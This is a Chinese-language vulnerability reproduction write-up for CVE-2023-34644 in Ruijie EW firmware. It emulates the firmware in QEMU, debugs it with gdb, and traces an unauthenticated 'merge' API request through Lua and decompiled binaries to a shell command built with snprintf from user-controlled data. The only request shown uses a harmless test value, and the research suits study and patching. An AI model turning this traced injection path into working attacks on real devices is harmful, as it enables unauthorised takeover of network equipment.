CVE-2023-34644锐捷未授权RCE 复现

前言

本文分析的固件为 EW_3.0(1)B11P204_EW1200GI(已解密) 百度网盘链接:https://pan.baidu.com/s/1RutoNCTiGBiW74YpzKXfxg?pwd=vht7 提取码:vht7

仿真模拟

首先从https://people.debian.org/~aurel32/qemu/mipsel下载vmlinux-3.2.0-4-4kc-malta内核与debian_squeeze_mipsel_standard.qcow2文件系统,这里提供的文件虽然是比较老的了(较新版可以在https://pub.sergev.org/unix/debian-on-mips32下载),但不影响我们使用。

下面直接给出qemu的启动脚本:

sh 复制代码
#!/bin/bash

sudo qemu-system-mipsel \
	-cpu 74kf \
	-M malta \
	-kernel vmlinux-3.2.0-4-4kc-malta \
	-hda debian_squeeze_mipsel_standard.qcow2 \
	-append "root=/dev/sda1 console=tty0" \
	-net nic,macaddr=00:16:3e:00:00:01 \
	-net tap \
	-nographic

需要特别注意的是,这里设定了cpu74kf,因为若不特别说明,默认是24Kc,而该固件需要较高版本的cpu,不然在之后chroot切换根目录的时候就会出现Illegal instruction(非法指令)错误。可用qemu-system-mipsel -cpu help命令查看qemu-system-mipsel所有支持的cpu版本。

在正式开始仿真前,需要先进行网络配置。用ip addrifconfig命令查看一下主机的ip,如下图为ens32对应的192.168.157.145

然后执行start.sh启动qemu,在qemu中也要配置一下网络,保证与主机之间能ping通

然后在qemu中,用nano /etc/network/interfaces命令修改其中内容为:

shell 复制代码
allow-hotplug eth1
iface eth1 inet dhcp

也就是将原先的eth0改为你的第一个网卡名称,我这里就是eth1

然后再用ifup eth1命令启用eth1接口或者干脆重启qemu之后,再ip add,就可以看到

然后将固件的文件系统打包到qemu

sh 复制代码
scp -r ../squashfs-root root@192.168.157.141:/root/
cd /root/squashfs-root
chmod -R 777 ./
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh

这里chmod给所有文件都赋权限,是为了在仿真的过程中不用考虑权限影响的问题。之后使用mount/proc/dev系统目录挂载到rootfs中的procdev目录(因为仿真只是切换了根目录,本质上还是qemu虚拟机的系统,因此procdev这两个重要的系统目录仍应该是这个系统本身的目录,即qemu虚拟机的系统目录,而切换了根目录后,procdev也被切换,因此需要挂载为原先的目录)。

最后用chrootrootfs切换为根目录,完成准备工作。

完成了基本操作后,接下来就是对该固件的仿真操作了,首先对于OpenWRT来说,内核加载完文件系统后,首先会启动/sbin/init进程,其中会进一步执行/etc/preinit/sbin/procd来进行初始化操作。这当然也是仿真模拟的第一步,在启动/sbin/init后,会卡在挂在进程中。我们可以再SSH开一个新的窗口进行后续操作。也可以用/sbin/init &将其作为后台进程执行。

接着,真实系统会根据/etc/inittab中按编号次序执行/etc/rc.d中的初始化脚本,而/etc/rc.d中的文件都是/etc/init.d中对应文件的软链接。虽然说真实系统会依次执行所有的初始化脚本,但我们此处的仿真只是为了验证我们的漏洞,因此只需要部分仿真即可。

显然,我们最开始肯定是需要启动httpd服务的,对应/etc/init.d/lighttpd初始化脚本。用/etc/init.d/lighttpd start命令启动服务后,发现缺少了/var/run/lighttpd.pid文件:

这是因为我们是部分仿真的,没有按照次序,故之前没有创建这个文件,而通过查看该初始化脚本,可以发现此处/rom/etc/lighttpd/lighttpd.conf的缺失并无影响.因此,创建/var/run/lighttpd.pid文件后,再次/etc/init.d/lighttpd start启动服务即可。

sh 复制代码
mkdir /var/run
touch /var/run/lighttpd.pid

mkdir /rom/etc
mkdir /rom/etc/lighttpd
touch /rom/etc/lighttpd/lighttpd.conf

/etc/init.d/lighttpd start

可以看到此时进程中以及执行了lighttpd服务,并且通过浏览器就能访问该漏洞入口的api

接着我们需要启动unifyframe-sgi.elf程序,该程序的初始化启动脚本位于./etc/init.d/unifyframe-sgi.

./etc/init.d/unifyframe-sgi start启动脚本后发现如下错误

这时因为unifyframe-sgi.elf中用到了ubus总线进行进程间通信 ,因此需要先执行/sbin/ubusd启动ubus通信。才能启动uf_ubus_call.elf,继而才能再启动unifyframe-sgi.elf

按照上述步骤启动后,发现进程中有了uf_ubus_call.elf,但是没有unifyframe-sgi.elf,同时procd守护进程收到了一个Segmentation fault段错误的信号。这意味这启动unifyframe-sgi.elf时出现了段错误。

接下来就是要分析unifyframe-sgi.elf为什么会出现段错误。大概率是由于缺少一些文件或目录所导致的.

如图tmp目录下已经创建了uniframe_sgi,已经存在了record文件夹。

继续定位主函数下面的reserve_record()函数,

这里会打开record文件,已经存在就不是这里的问题。

然后定位reserve_core()函数,这里会打开/tmp/coredumptmp目录下并没有该文件,所以会报错。

创建/tmp/coredump目录后,运行/usr/sbin/unifyframe-sgi.elf程序,因缺少/tmp/rg_device/rg_device.json文件报错:

这里的rg_device.json大概率是在某前置操作中从其他位置复制过来的,故搜索同名文件,不过有很多。

为了确定是那个文件,我们定位ufm_init()函数发现此处之后会从rg_device.json中读取dev_type字段的内容。

可以发现除了/sbin/hw/default/rg_device.json中都有此字段,这里随便复制一个 /sbin/hw/60010081/rg_device.json/tmp/rg_device目录下后再次运行,就发现没有新的报错,执行成功了。

此时进程中也有/usr/sbin/unifyframe-sgi.elf程序在运行。

固件调试

环境搭建好了后我们还要调试。

gdbserverqemu上,gdbserver下载链接,这里找了个老版本的,附加到unifyframe-sgi.elf进程。

然后通过宿主机上的IDA或者gdb(建议)连接到该端口,建议后面几条命令写到一个脚本中,后面gdb会频繁的跑挂掉需要重新启动。

sh 复制代码
#!/bin/bash
# simple_debug.sh

while true; do
    echo "启动GDB调试会话..."
    echo "----------------------------------------"
    
    gdb-multiarch -q ./usr/sbin/unifyframe-sgi.elf \
        -ex "set architecture mips" \
        -ex "set endian little" \
        -ex "set follow-fork-mode parent" \
        -ex "target remote 192.168.157.141:1234" \
    
    echo "GDB崩溃或断开,5秒后重新连接..."
    sleep 5
done

然后执行./simple_debug.sh就可以开始调试了。gdb跑起来后,先在uf_socket_msg_read后下断点(也就是0x4043A8下断点),然后继续运行,这个时候浏览器访问/api/auth,bp抓包

然后根据我们后续的分析将包改为我们认为能够触发的样子,改的地方有三个:GET->POST,加上Content-Type字段,空一格加上上传的参数,改包后放行

http 复制代码
POST /cgi-bin/luci/api/auth HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

{"method": "merge", "params": {"url": "bar"}}

然后就能看到gdb断下来了,$s0+4中存储着传过来的数据包,params.data字段里存放着我们上传的参数

综上我们可以看到可以进行数据的调试了

下面开始正式的分析。

lua文件的调用链分析

/usr/lib下有很多lua文件,这些lua文件主要是对前端穿入的数据进行一些处理和判断,然后将这些数据进一步交给二进制文件处理。

./usr/lib/lua/luci/controller/eweb/api.lua,该文件中配置了很多的路由,可以考虑从这入手

主要看这行,当用户访问 ./api/auth时会调用rpc_auth函数, sysauth表示是否是特权用户,sysauth=false表示不需要是特权用户就可以访问。

rpc_auth函数如下,其首先引入了一些模块,luci.utils.jsonrpc主要是对JSON-RPC 协议处理.**luci.modules.noauth**提供了RPC的定义方法。

然后判断HTTP_CONTENT_LENGTH是否大于1000

如果不大于的话会将准备 HTTP 响应的类型设置为 application/json,然后会调用jsonrpc.handle进行处理。改handle函数的第一个参数 _tbl返回的是luci.modules.noauth的内容,变量类型为 table,该内容包含了4个函数分别为 login, singleLogin, merge, checkNet

分析 luci.utils.jsonrpc 文件中的handle函数

查看./usr/lib/lua/luci/utils/jsonrpc.luahandle函数主要是把参数 tbl 以及报文中的method字段传入给了 resolve 函数.

查看resolve函数,这个函数的作用就是解析出 method 字段对应的函数,通过遍历 mod (表中存储了四种方法),然后通过 rawget 获取表中键为 path[j] 的值xxxx,并赋值给 mod ,此时 mod 就表示 noauth.lua 文件中的 xxxx 函数。

所以上面这部分主要就是对JSON数据进行处理,然后根据json数据中{"method":"xxxx"}中的xxxx来调用 noauth.xxxx函数。

=================================

下面主要来分析 noauth.lua文件的内容。其中singLogin()函数参数不可控,跳过。

checkNet()函数中可控字段只有 params.host,但checkIp对其进行了严格过滤,跳过.

再看 login函数,对params.password做了过滤,绕不了,跳过

因此我们只能将目光聚焦于最后的希望 merge函数。这个函数比较简单,调用了devSta.set函数,其Json参数中的data字段就是传入的POST报文中params的内容。这里merge方法的入口处没有任何过滤,不过之后是否存在字符过滤和命令执行点还需要进一步分析

devSta.set的定义如下:先是调用了 doParams 函数对 json 数据进行解析,随后调用了 fetch 函数

这里看一下doParams函数中对params.data的处理,luci.json.encode函数会对\n(即\u000a)类字符进行转义,也就不会被解析成换行符了.由于merge中和devSta没有任何过滤无需使用换行符作为命令分隔符,用最简单的分号、反引号之类的即可 ,故doParams函数中的encode不会造成影响。

接着我们可控的 data数据就会被传入 cmd.fetch函数,这里调用了 fn 也就是 fetch 函数传入进来的 model.fetch

然后当执行到 fn(...)时将从第四个参数opt[i]开始(包括data字段),均传递到第一个参数所指向的函数中,即/usr/lib/lua/dev_sta.lua中的fetch函数。

查看该函数:

在调用上面的fetchcmdset方式,modulenetworkId_merge,这里的param就是传入的data段,也就是我们可以控制的数据(即最初POST报文中params的内容)。

然后函数的内容就是对一些字段赋真假值后,最终都将参数传递给了, uf_call.client_call函数。即/usr/lib/lua/libuflua.so中的client_call函数。接下来,就是对二进制文件逆向分析并寻找是否存在命令执行点了。

二进制分析分析

libuflua.so

IDA 打开 /usr/lib/lua/libuflua.so 文件,并没有看到定义的 client_call 函数,不过我们可以发现_uf_client_call函数

,猜测是程序内部进行了关联。shift+f12 搜索字符串发现并没有看到字符串 client_call

我们把文件拖进010 editor中搜索client_call,发现在0xFF0处有该字符串。

然后在IDA中的0xff0处并没有发现该字符串,猜测是IDA把这里的字符串解析成了代码,我们按a转换成字符串。

对字符串 client_call 进行两次交叉引用,发现最终调用位置如下

luaL_register Lua注册 C 语言编写的函数 ,它作用是将 C 函数添加到一个 Lua 模块中使得这些 C 函数能够从 Lua 代码中被调用.

该函数的原型如下

void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l);

  • lua_State *L:Lua 状态指针,代表了一个 Lua 解释器实例。
  • const char *libname:模块的名称,这个名称会在 Lua 中作为一个全局变量存在,存放模块的函数。
  • const luaL_Reg *l:一个结构体数组,包含要注册到模块中的函数的信息。每个结构体包含函数的名称和相应的 C 函数指针

这里我们主要去看第3个参数。 0x1101C 的位置存放的是一个字符串以及一个函数指针(如下图),因此判断出 client_call 实际就定义在了 sub_A00 中。

查看sub_A00函数可以看到最后会调用uf_client_call函数,在调用前有很多lua_tolstring, lua_toboolean函数,大概能猜到是对dev.sta.lua文件中传入参数的解析转换这些,在Lua文件中的uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)传入了这么多个参数,而sub_A00(int a1)只有个a1,大概猜测就是对a1进行解析,解析出各个参数。

c 复制代码
int __fastcall sub_A00(int a1)
{
  int v2; // $v0
  int v3; // $s1
  int v4; // $s3
  int v5; // $s2
  int v6; // $v0
  int v7; // $v1
  int v8; // $s3
  int v9; // $a1
  int v10; // $a0
  int v11; // $a1
  int v13[3]; // [sp+18h] [-Ch] BYREF

  v13[0] = 0;
  v2 = malloc(52);
  v3 = v2;
  if ( v2 )
  {
    memset(v2, 0, 52);
    v5 = 4;
    *(_DWORD *)v3 = luaL_checkinteger(a1, 1);
    *(_DWORD *)(v3 + 4) = luaL_checklstring(a1, 2, 0);
    v6 = luaL_checklstring(a1, 3, 0);
    v7 = *(_DWORD *)v3;
    *(_DWORD *)(v3 + 8) = v6;
    if ( v7 != 3 )
    {
      *(_DWORD *)(v3 + 12) = lua_tolstring(a1, 4, 0);
      *(_BYTE *)(v3 + 41) = lua_toboolean(a1, 5) == 1;
      v5 = 6;
      *(_BYTE *)(v3 + 40) = 1;
    }
    *(_DWORD *)(v3 + 20) = lua_tolstring(a1, v5, 0);
    *(_DWORD *)(v3 + 24) = lua_tolstring(a1, v5 + 1, 0);
    v8 = v5 + 2;
    if ( *(_DWORD *)v3 )
    {
      if ( *(_DWORD *)v3 == 2 )
      {
        v8 = v5 + 3;
        *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      }
    }
    else
    {
      *(_BYTE *)(v3 + 43) = lua_toboolean(a1, v5 + 2) == 1;
      v8 = v5 + 4;
      *(_BYTE *)(v3 + 44) = lua_toboolean(a1, v5 + 3) == 1;
    }
    *(_BYTE *)(v3 + 48) = lua_toboolean(a1, v8) == 1;
    v4 = uf_client_call(v3, v13, 0);			//最后调用这里
......
}

继续找一下uf_client_call函数,发现IDA中并没有,猜测uf_client_call是其它共享函数库中定义的函数。查找对比一下,不难发现这个函数定义在/usr/lib/libunifyframe.so中。

libunifyframe.so

然后分析libunifyframe.so中的uf_client_call函数.前面的不太重要,我们直接看switch语句,这里会先执行case 2:

这里可以知道case 2最后会走到 LABEL_22

LABEL_22后面使用了大量的json_object_object_add函数,该函数的作用是在已有的JSON对象中添加一个键值对,以json_object_object_add(v19, "remoteIp", v22)函数为例,作用是将{"remote",v22}这个键值对添加到v20所指的JSON对象中.

c 复制代码
LABEL_22:
......
      json_object_object_add(v4, "method", v18);
      v19 = json_object_new_object();
......
      json_object_object_add(v19, "module", v20);
      v21 = *(_DWORD *)(a1 + 20);
      if ( !v21 )
        goto LABEL_34;
      v22 = json_object_new_string(v21);
      if ( !v22 )
        goto LABEL_40;
      json_object_object_add(v19, "remoteIp", v22);
LABEL_34:
      v23 = *(_DWORD *)(a1 + 24);
      if ( v23 )
      {
        v24 = json_object_new_string(v23);
        if ( !v24 )
        {
          json_object_put(v19);
          json_object_put(v4);
          syslog(3, "(%s %s %d)new obj_passwd failed", "lib_unifyframe.c", "uf_client_call");
          return -1;
        }
        json_object_object_add(v19, "remotePwd", v24);
      }
      if ( *(_DWORD *)(a1 + 36) )
      {
        v25 = json_object_new_int();
        if ( !v25 )
        {
LABEL_40:
          json_object_put(v19);
          json_object_put(v4);
          syslog(3, "(%s %s %d)new obj_remoteip failed", "lib_unifyframe.c", "uf_client_call");
          return -1;
        }
        json_object_object_add(v19, "buf", v25);
      }
      if ( *(_DWORD *)a1 )
      {
        if ( *(_DWORD *)a1 != 2 )
        {
          v26 = *(unsigned __int8 *)(a1 + 45);
          goto LABEL_56;
        }
        if ( *(_BYTE *)(a1 + 42) )
        {
          v28 = json_object_new_boolean(1);
          if ( v28 )
          {
            v29 = v19;
            v30 = "execute";
            goto LABEL_54;
          }
        }
      }
      else
      {
        if ( *(_BYTE *)(a1 + 43) )
        {
          v27 = json_object_new_boolean(1);
          if ( v27 )
            json_object_object_add(v19, "force", v27);
        }
        if ( *(_BYTE *)(a1 + 44) )
        {
          v28 = json_object_new_boolean(1);
          if ( v28 )
          {
            v29 = v19;
            v30 = "configId_not_change";
LABEL_54:
            json_object_object_add(v29, v30, v28);
          }
        }
      }
      v26 = *(unsigned __int8 *)(a1 + 45);
LABEL_56:
......
      v36 = *(_BYTE **)(a1 + 12);
      if ( !v36 || !*v36 )
        goto LABEL_75;
      v37 = json_object_new_string(v36);
      if ( !v37 )
        goto LABEL_78;
      json_object_object_add(v19, "data", v37);
LABEL_75:
      v38 = *(_BYTE **)(a1 + 16);
      if ( v38 && *v38 )
      {
        v39 = json_object_new_string(v38);
        if ( !v39 )
        {
LABEL_78:
          json_object_put(v19);
          json_object_put(v4);
          syslog(3, "(%s %s %d)new obj_data failed", "lib_unifyframe.c", "uf_client_call");
          return -1;
        }
        json_object_object_add(v19, "device", v39);
      }
      json_object_object_add(v4, "params", v19);		//将上面的v19当做了params的值,向v4中添加新的键值对
      v40 = json_object_to_json_string(v4);	//json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
      if ( !v40 )
      {
......
        return -1;
      }
      v41 = uf_socket_client_init(0);
      if ( v41 <= 0 )
      {
        json_object_put(v4);
        v42 = *(const char **)(a1 + 12);
        v43 = *(const char **)(a1 + 4);
        v44 = *(const char **)(a1 + 8);
        v45 = *(_DWORD *)(a1 + 16);
        if ( v42 )
        {
......
        }
        else
        {
......
        }
        return -1;
      }
      v46 = strlen(v40);
      uf_socket_msg_write(v41, v40, v46);	//最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......

如下我截取的代码,就是将dev_sta.lua代码中传入的param字段的数据解析出来传给v36,然后转换成json_object后给v37,然后再添加到v19中,最后才调用json_object_object_add(v4, "params", v19);存入v4中。随后调用uf_socket_msg_write送数据。

既然存在 uf_socket_msg_write 进行数据发送,那么肯定就在一个地方在用 uf_socket_msg_read 函数进行数据的接收,用 grep 进行字符串搜索。再进一步处理。匹配一下,一共三个文件,很容易锁定/usr/sbin/unifyframe-sgi.elf文件。

./etc/init.d/目录下的文件意味着进程最初就会启动并一直存在,然后在./etc/init.d/unifyframe-sgi的启动文件中发现会启动该/usr/sbin/unifyframe-sgi.elf文件,说明unifyframe-sgi.elf一直挂在进程中, 可以确定unifyframe-sgi.elf就是接收libunifyframe.so所发数据的文件(这里采用了Ubus总线进行进程间通信).

接下来就是最核心的部分,对unifyframe-sgi.elf二进制文件进行逆向分析并寻找命令执行点了

unifyframe-sgi.elf

为了总结 /usr/sbin/unifyframe-sgi.elf 文件中调用链,同时梳理清几个线程和信号量的关系,我这里直接就用zikh26师傅的图来体现调用流程:

在执行完uf_socket_msg_read()后,我们传入的数据已经被写入了内存。

有趣的地方在于很多字段我们没有设置,但上图能看到这些字段依然存在(只不过值是空的字符串),这意味着在数据传输过来之前有地方设置了这些字段。

然后执行到下面的代码,对传入的字段进行解析,执行具体操作的两个函数分别是parse_content,add_pkg_cmd2_task.

解析数据parse_content

下面是调试到parse_content的截图,发现参数是一个结构体,该结构体存储了一些地址和数据,这里直接用zikh26的图。

下面对 parse_content 函数进行分析(具体分析已标在注释中)

根据上面的分析可知,具体进行数据解析的位置应该是 parse_obj2_cmd 函数,该函数具体分析如下.

c 复制代码
int __fastcall parse_obj2_cmd(int a1, int a2)
{
  v3 = malloc(52);//创建了一个堆块,用于记录和存储接下来的各种信息,该函数最终会返回这个堆块地址
  v5 = v3;
......
  memset(v3, 0, 52);
  if ( a2 )
    *(_DWORD *)(v5 + 16) = strdup(a2);
  if ( json_object_object_get_ex(a1, "module", &v46) != 1
    || (v6 = json_object_get_string(v46), (v7 = v6) == 0)
    || strcmp(v6, "esw") )//检查module字段是否存在,存在的话值是否为字符串esw,如果这两个条件有一个不满足,则进入if
  {
    if ( json_object_object_get_ex(a1, "method", &v46) != 1 )//解析method字段
    {
......
    }
    v16 = json_object_get_string(v46);//获取到method的值,下面去匹配对应的操作,各种操作都对应一个数字,该数字放在了堆块的第一个指针处
    v17 = v16;
    if ( strstr(v16, "devSta") )
    {
      v18 = 2;
    }
    else
    {
      if ( strstr(v17, "acConfig") )
      {
        *(_DWORD *)v5 = 0;
        goto LABEL_50;
      }
      if ( strstr(v17, "devConfig") )
      {
        *(_DWORD *)v5 = 1;
        goto LABEL_50;
      }
      if ( strstr(v17, "devCap") )
      {
        v18 = 3;
      }
      else
      {
        if ( !strstr(v17, "ufSys") )
        {
...... 
        }
        v18 = 4;
      }
    }
    *(_DWORD *)v5 = v18;
    goto LABEL_50;
  }
......//此处省略了大部分代码,做的事情依然是字段解析,然后写入内存,就不逐一分析了
  if ( json_object_object_get_ex(v47, "data", &v46) == 1 && (unsigned int)(json_object_get_type(v46) - 4) < 3 )//判断params字段中是否存在data,如果存在的话将其赋值给v37,并且检查了data的值类型,只能为object,array,string三种类型,然后将data的值放到堆块的第四个指针处  注意:报文中我并没有设置data字段,但是接收的数据在写入内存之前就被自动添加了data字段
  {
    v43 = json_object_get_string(v46);
    if ( v43 )
    {
      v44 = strdup(v43);
      *(_DWORD *)(v5 + 12) = v44;
      if ( !v44 )
      {
        v9 = 561;
        goto LABEL_136;
      }
    }
  }
  return v42;
}

解析后各字段的值如下

这里可以看到解析出来的data字段{"url":"bar"}

parse_obj2_cmd 函数结束后,会执行 pkg_add_cmd(a1, v12);它的核心作用就是在a1这个数据结构中记录了v12的指针。

使得后续操作通过 a1 访问到刚刚解析出来的各个字段。

add_pkg_cmd2_task函数

解析完成后,直接看 add_pkg_cmd2_task。在调试界面,发现参数传入的还是执行 parse_content 函数那个结构体地址。

add_pkg_cmd2_task 函数进行分析

c 复制代码
int __fastcall add_pkg_cmd2_task(_DWORD *a1)
{
  if ( dword_435ECC < 1001 )
  {
    pthread_mutex_lock(*a1 + 20);
    v3 = (_DWORD *)a1[22];
    v4 = v3 - 13;//当时存地址时加了13,这里又减了13,所以v4就是上面记录了解析json各字段的那个堆块地址
    for ( i = *v3 - 52; ; i = *(_DWORD *)(i + 52) - 52 )
    {
      if ( v4 + 13 == a1 + 22 )
      {
        pthread_mutex_unlock(*a1 + 20);
        return 0;
      }
      v6 = malloc(20);
      v7 = (int *)v6;
......
      v10 = v6 + 4;
      v7[2] = v10;
      v7[1] = v10;
      *v7 = (int)v4;
      v7[4] = (int)(v7 + 3);
      v7[3] = (int)(v7 + 3);
......
      *v7 = (int)v4;
      v11 = (_DWORD *)*v4;
      v12 = *(_DWORD *)*v4;
      if ( v12 == 3 )//这里判断v12就是前面解析method的值,因为发送的是merge(实际传入的就是devSta.set) 所以v12最终在前面被解析成了2
        break;
      if ( v12 == 4 )
      {
        gettimeofday(v4 + 5, 0);
        uf_sys_handle(*(_DWORD **)*v7, v4 + 1);
LABEL_22:
        gettimeofday(v4 + 7, 0);
        sub_40B644(v7);
        goto LABEL_23;
      }
      if ( v12 == 2 && !strcmp(v11[1], "get") && !v11[9] && uf_cmd_buf_exist_check(v11[2], 2, v11[3], v4 + 1) )//虽然v12为2了,但我们的字符串是set,并不是get,所以这个if还是进不去
      {
        *(_DWORD *)(*v7 + 44) = 1;
        sub_40B644(v7);
        v8 = *v7;
        v9 = 2;
        goto LABEL_17;
      }
      sub_40B304((int **)v7);// devSta.set这个字段的话 前面的if都进不去,会触发这里的sub_40B304函数
LABEL_23:
      v4 = (int *)i;
    }
......
  }
  v1 = -1;
......
  return v1;
}

sub_40B304 函数最关键的作用就是过渡到 sub_40B0B0

c 复制代码
int __fastcall sub_40B304(int **a1)
{
  v2 = **a1;
  if ( *(_DWORD *)v2 == 5 )//根据上图信息得知v2应该是2,这个if进不去
  {
LABEL_2:
    *(_BYTE *)(v2 + 48) = 1;
    if ( byte_435EC9 )//这里是硬编码的1
    {
      v3 = a1;
      v4 = (int (__fastcall *)(int **))sub_40B0B0;//将sub_40B0B0函数指针赋值给v4
      return v4(v3);//此处IDA显示有些问题,其实执行的并不是这里的v4(v3)
    }
LABEL_28:
    v3 = a1;
    v4 = sub_40B168;
    return v4(v3);//上面的函数指针赋值给v4,最后调用的其实是这里的v4(v3)  调试一下就能看出来
  }
  v5 = *(const char **)(v2 + 20);//这里v2+20其实为remoteIp字段,因为在lua处理的时候,加上了remoteIp字段(意思是remoteIp字段有值,值为空。并非是remoteIp字段为空),所以这个v5是一个地址,指向了一个空的字符串而已(如果之前没有地方帮我们添加remoteIp字段的话,还需要自己传入一个remoteIp进来)
  if ( v5 )
  {
    v6 = is_self_ip(v5);//传入一个指向空字符串的地址,返回值为0
    v7 = *a1;
    if ( !v6 )
    {
      v2 = *v7;
      goto LABEL_2;//执行到此处进行跳转
    }
    v7[11] = 3;
  }
}

sub_40B0B0 函数中对关键的信号量进行了操作

c 复制代码
int __fastcall sub_40B0B0(_DWORD *a1)
{
  _DWORD *v2; // $v1
  _DWORD *v3; // $v1
  ++dword_435ECC;
  pthread_mutex_lock(&unk_435E74);
  v2 = (_DWORD *)dword_435DC4;
  a1[3] = &cmd_task_run_head;
  dword_435DC4 = (int)(a1 + 3);
  a1[4] = v2;
  *v2 = a1 + 3;
  v3 = (_DWORD *)dword_435DB4;
  a1[2] = dword_435DB4;
  dword_435DB4 = (int)(a1 + 1);
  a1[1] = &cmd_task_remote_head;
  *v3 = a1 + 1;
  pthread_mutex_unlock(&unk_435E74);
  sem_post(&unk_435E90);//该函数最关键的部分就是此处sem_post对信号量unk_435E90操作
  return 0;
}

这里释放了信号量unk_435E90,说明有个地方有sem_wait(&unk_435E90);就会开放然后向后执行

unk_435E74进行交叉引用。

发现这里会等待执行。

然后继续对uf_task_remote_pop_queue进行交叉引用,发现deal_remote_config_handle函数中对其进行的调用

deal_remote_config_handle函数中uf_task_remote_pop_queue执行完成后会继续向后执行。然后就来到了uf_cmd_call(*v4, v4 + 1)函数,这个函数一看就有点问题,后面也是对该函数进行详细的讲解

uf_cmd_call(*v4, v4 + 1)函数

由于 uf_cmd_call 函数的代码量太长了,这里就不再出示相关代码,只调试和描述几个关键点.

在函数调用处下端点,发现程序会走到这个地方。

这可以看到传入的参数就是我们之前解析出来的数据。

然后来分析uf_cmd_call(*v4, v4 + 1。这里会对v3进行赋值,根据上图可以看到 v3 = 0x2.所以只有v3 == 2if才会执行,所以第一个·if直接跳过。

然后直接到了这里。

这里会做一个判断,判断v2的值是不是set,但很显然v2的值是set,所以不会进入循环里,而是跳过后继续向下执行。

这里的a1+12处的位置就是data数据的位置。

然后就到了后面的执行流转折点处。

这个 a1+45 的位置当时parse_obj2_cmd中解析的时候有一个标志位(如下图),但这个 from_url 并没有特别设置,所以这里就为 0 ,导致进入了 if(!v16) ,执行跳转语句 goto LABEL_86

到了 LABEL_86处,下面的if ( !v97[20] )其实就是判断的data值可以在调试中看出。因为 !97[20]FALSE ,所以这个 if 进不去

然后又到了这个if判断,这里也会判断data数据中是否有{或者]很显然有的,所以会进入这个if.

if ( !v97[7] ) 位置做了判断,调试可知 v97[7]2 ,因此 if 这里进不去,随后直接触发 goto LABEL_171goto LABEL_172

goto LABEL_172 继续往下分析,在 367 的位置 if 进不去,然后通过调试 386 行这里的 if 可以进来

389 行做的检查,判断了偏移 48 的位置是否为 1 ,回顾字段解析的位置可以发现,我们是可以控制这里的值为 1 的(满足下图的条件即可)

但我没控制这个字段,调试过来发现偏移 48 的位置仍然是 1 ,可能是之前某处代码设置了这个位置的值),总之这个 if 进不去

由于上面的 if 进不去,那么出来之后直接到了 440 行的位置,此时已经能看到接下来必定会触发 ufm_handle 函数(v97 指向了 uf_cmd_call 函数的参数 a1 ,也就是上文一直提到的存储解析字段的结构体)

ufm_handle

然后我们来分析ufm_handle函数,传入的参数是之前解析的结构体。

c 复制代码
int __fastcall ufm_handle(int a1)
{
  v2 = *(const char **)(a1 + 8);
  v4 = *(_DWORD *)(a1 + 20);
  v5 = *(_DWORD *)(a1 + 56);
  if ( !v2 || !*v2 )//这里是*(a1+8) 为0,并不是(int)(*a1)+8  开始分析的时候我以为这里检查的是module字段
    goto LABEL_185;//这里会跳转
  v7 = 0;
  if ( remote_call(*(_DWORD **)a1, (const char **)(a1 + 88)) == 2 )
  {
LABEL_185:
    if ( !strcmp(v5, "group_change") || !strcmp(v5, "network") || !strcmp(v5, "network_group") )//v5是module的值  为networkId_merge  因此这个if进不去
      sub_40E498(v6);
    v8 = strcmp(v4, "get");//v4是set
    if ( !v8 )//这个if进不去
    {
......
    }
    if ( !strcmp(v4, "set") || !strcmp(v4, "add") || !strcmp(v4, "del") || !strcmp(v4, "update") )//这里比较set是会通过检查
    {
      v29 = sub_40FD5C(a1);//触发关键函数
......
    }

sub_40FD5C 函数关键代码分析如下

c 复制代码
int __fastcall sub_40FD5C(int a1)
{
  memset(v52, 0, sizeof(v52));
  v2 = *(_BYTE **)(a1 + 80);// v2是data字段的值
  if ( !v2 || !*v2 )
    return -1;
  v3 = *(_DWORD *)(a1 + 28);// v3是2(devSta所导致的)
  v4 = v3 < 2;//因为v3是2,所以这里的判断是FALSE v4为0
  if ( v3 )
  {
    v5 = json_object_object_get(*(_DWORD *)(a1 + 92), "sn");// 因为sn字段为空,所以下面的if进入,触发goto LABEL_45
    if ( !v5 )
      goto LABEL_45;
......   
LABEL_45:
          v3 = *(_DWORD *)(a1 + 28);
          goto LABEL_46;
......
LABEL_46:
      v4 = v3 < 2;
      goto LABEL_47;
......
LABEL_47:
  if ( v4 )//经过三次跳转后,对v4做判断,因为v4为0 会触发下面的else
  {
......
  }
  else
  {
    if ( v3 != 2 )//v3是2,所以这个if进不去
    {
......
    }
    v18 = sub_40CEAC(a1, a1 + 88, 0, 0);//触发关键函数
......
  }
  return v18;
}

sub_40CEAC 函数的分析如下:

c 复制代码
if ( *(_BYTE *)(*a1 + 46) )
    return 0;
  v5 = *(_DWORD *)(*a1 + 4);
  if ( strcmp(v5, "commit") )//v5是set,这里判断的是不为commit则进入if,所以这两个if都能进入
  {
    if ( strcmp(v5, "init") )
    {
      if ( !a4 && !a1[7] )//a4是固定的0,但是a1[7]的值为2,导致了这个if进不去
      {
.......
      }
    }
  }
  gettimeofday(&v90, 0);
  v19 = a1[24];
  if ( !*(_DWORD *)(v19 + 160) )
  {
    if ( !is_module_support_lua(a1[24], (int)a1) )
    {
      v63 = a1[20];//v63为data字段的值
      if ( v63 )
        v64 = strlen(v63);
      else
        v64 = 0;
......
      if ( a3 )//a3是固定的0
      {
...... 
      }
      else if ( a4 )//a4也是固定的0
      {
......
      }
      else
      {
        v70 = snprintf(v66, v68, "/usr/sbin/module_call %s %s", (const char *)a1[5], (const char *)(v67 + 8));//这里其实也是正常的命令拼接 a1[5]是set,v67+8是 networkId_merge
        v71 = (const char *)a1[20];//v71是data字段的值
        v72 = &v66[v70];
        if ( v71 )//如果data字段的值存在的话,执行下面的拼接
          v72 += snprintf(&v66[v70], v68, " '%s'", v71);//这里存在了命令注入,data字段的值为我们可控,造成了任意命令拼接到原本的字符串上
        v73 = a1[21];
        if ( v73 )
          snprintf(v72, v68, " %s", v73);
      }
